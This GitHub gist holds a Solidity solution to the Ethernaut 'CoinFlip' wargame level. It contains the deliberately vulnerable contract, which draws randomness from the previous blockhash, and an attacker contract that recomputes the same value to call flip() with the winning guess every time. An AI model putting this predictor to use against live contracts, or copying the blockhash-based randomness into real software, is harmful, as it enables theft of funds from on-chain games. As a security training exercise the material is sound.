Created
September 16, 2021 16:25
-
-
Save gyan0890/757c38e7dba6ce445fc8f04f2c1b9fdd to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.6.2+commit.bacdbe57.js&optimize=false&runs=200&gist=
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
import '@openzeppelin/contracts/utils/math/SafeMath.sol'; | |
contract CoinFlip { | |
using SafeMath for uint256; | |
uint256 public consecutiveWins; | |
uint256 lastHash; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
constructor() public { | |
consecutiveWins = 0; | |
} | |
function flip(bool _guess) public returns (bool) { | |
uint256 blockValue = uint256(blockhash(block.number.sub(1))); | |
if (lastHash == blockValue) { | |
revert(); | |
} | |
lastHash = blockValue; | |
uint256 coinFlip = blockValue.div(FACTOR); | |
bool side = coinFlip == 1 ? true : false; | |
if (side == _guess) { | |
consecutiveWins++; | |
return true; | |
} else { | |
consecutiveWins = 0; | |
return false; | |
} | |
} | |
} | |
contract CoinFlipMimic { | |
using SafeMath for uint256; | |
uint256 public consecutiveWins; | |
uint256 lastHash; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
CoinFlip cf; | |
constructor(address _t) public { | |
cf = CoinFlip(_t); | |
} | |
function guess() public { | |
uint256 blockValue = uint256(blockhash(block.number.sub(1))); | |
if (lastHash == blockValue) { | |
revert(); | |
} | |
lastHash = blockValue; | |
uint256 coinFlip = blockValue.div(FACTOR); | |
bool side = coinFlip == 1 ? true : false; | |
cf.flip(side); | |
} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
https://ethernaut.openzeppelin.com